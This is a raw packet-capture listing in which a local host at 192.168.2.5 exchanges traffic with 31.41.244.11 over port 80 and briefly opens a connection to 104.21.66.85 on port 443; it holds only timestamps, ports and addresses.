Dec 18, 2024 21:30:29.995317936 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:29.995358944 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.133289099 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.133344889 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.133471966 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.133507013 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.133837938 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.133872032 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.134146929 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.134180069 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.134881020 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.134917021 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.135061979 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.135096073 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.136054039 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.136092901 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.136384010 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.136429071 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.137089014 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.137125015 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.137181997 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.137214899 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.138129950 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.138164043 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.138302088 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.138334036 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.139481068 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.139514923 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.139673948 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.139705896 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.140922070 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.140957117 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.141103029 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.141134977 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.142136097 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.142175913 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.142285109 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.142323971 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.143013954 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.143048048 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.143131018 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.143166065 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.143887997 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.143930912 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.144114971 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.144148111 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.144671917 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.144711971 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.144825935 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.144864082 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.145859003 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.145900965 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.146024942 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.146059036 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.147089958 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.147126913 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.147238970 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.147274017 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.147964001 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.148034096 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.148153067 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.148194075 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.148930073 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.148978949 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.148993015 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.149034023 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.149852037 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.149888039 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.149979115 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.150012970 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.150765896 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.150804043 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.150924921 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.150963068 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.151834965 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.151870966 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.152137995 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.152179956 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.152873993 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.152914047 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.153074980 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.153111935 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.153928995 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.153964996 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.154136896 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.154171944 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.155030966 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.155066013 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.155173063 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.155208111 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.156038046 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.156073093 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.156199932 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.156234980 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.157120943 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.157157898 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.157269955 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.157305956 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.158199072 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.158237934 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.158325911 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.158360004 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.159219027 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.159255028 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.159384966 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.159461021 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.160295010 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.160332918 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.160490036 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.160525084 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.161390066 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.161427975 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.161524057 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.161556959 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.162408113 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.162451029 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.162574053 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.162612915 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.163424969 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.163464069 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.163682938 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.163723946 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.164551020 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.164592981 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.164702892 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.164741993 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.165529013 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.165570021 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.165725946 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.165766001 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.166670084 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.166716099 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.166780949 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.166826963 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.167665958 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.167706013 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.167902946 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.167947054 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.168741941 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.168790102 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.168895960 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.168935061 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.169792891 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.169836044 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.169945955 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.169990063 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.170869112 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.170912981 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.171010971 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.171053886 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.171890974 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.171933889 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.172080994 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.172122955 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.173002005 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.173048973 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.173197031 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.173239946 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.174112082 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.174153090 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.174241066 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.174279928 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.175086975 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.175127983 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.175267935 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.175307989 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.176182985 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.176225901 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.176361084 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.176394939 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.177198887 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.177244902 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.177376032 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.177412987 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.178364992 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.178419113 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.178540945 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.178595066 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.179466963 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.179513931 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.179691076 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.179730892 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.180404902 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.180448055 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.180568933 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.180607080 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.181484938 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.181529045 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.181730032 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.181767941 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.182346106 CET	49812	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:30.182389975 CET	443	49812	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:30.182457924 CET	49812	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:30.182596922 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.182640076 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.182714939 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.182753086 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.183626890 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.183681965 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.183737993 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.183792114 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.183835983 CET	49812	443	192.168.2.5	104.21.66.85
Dec 18, 2024 21:30:30.183856010 CET	443	49812	104.21.66.85	192.168.2.5
Dec 18, 2024 21:30:30.184609890 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.184654951 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.184828997 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.184868097 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.185683966 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.185728073 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.185837984 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.185875893 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.186733961 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.186774015 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.186954021 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.187000036 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.187781096 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.187819958 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.187973022 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.188019991 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.188802958 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.188847065 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.325576067 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.325630903 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.325683117 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.325722933 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.325985909 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.326028109 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.326303959 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.326344013 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.327013016 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.327052116 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.327223063 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.327264071 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.328151941 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.328192949 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.328449011 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.328495026 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.329262018 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.329305887 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.329416037 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.329472065 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.330296040 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.330337048 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.330461979 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.330502987 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.331237078 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.331278086 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.331368923 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.331408024 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.332282066 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.332328081 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.332501888 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.332541943 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.333336115 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.333373070 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.333522081 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.333569050 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.334402084 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.334449053 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.334573984 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.334614992 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.335447073 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.335489988 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.335618973 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.335656881 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.336553097 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.336589098 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.336741924 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.336776018 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.337673903 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.337717056 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.337816954 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.337852955 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.338681936 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.338726044 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.338809967 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.338845968 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.339807034 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.339842081 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.339965105 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.340003014 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.340848923 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.340892076 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.341013908 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.341048956 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.341985941 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.342046976 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.342170000 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.342207909 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.343009949 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.343054056 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.343178034 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.343216896 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.344012022 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.344053030 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.344172001 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.344211102 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.344996929 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.345036983 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.345185995 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.345223904 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.346020937 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.346064091 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.346199989 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.346239090 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.347110033 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.347148895 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.347290993 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.347328901 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.348237038 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.348277092 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.348412037 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.348453045 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.349261999 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.349302053 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.349443913 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.349481106 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.350292921 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.350332975 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.350444078 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.350481033 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.351350069 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.351389885 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.351525068 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.351562023 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.352392912 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.352435112 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.352559090 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.352596045 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.353667021 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.353712082 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.353810072 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.353849888 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.354511976 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.354552984 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.354707003 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.354743958 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.355571985 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:30.355611086 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:30.355703115 CET	80	49808	31.41.244.11	192.168.2.5
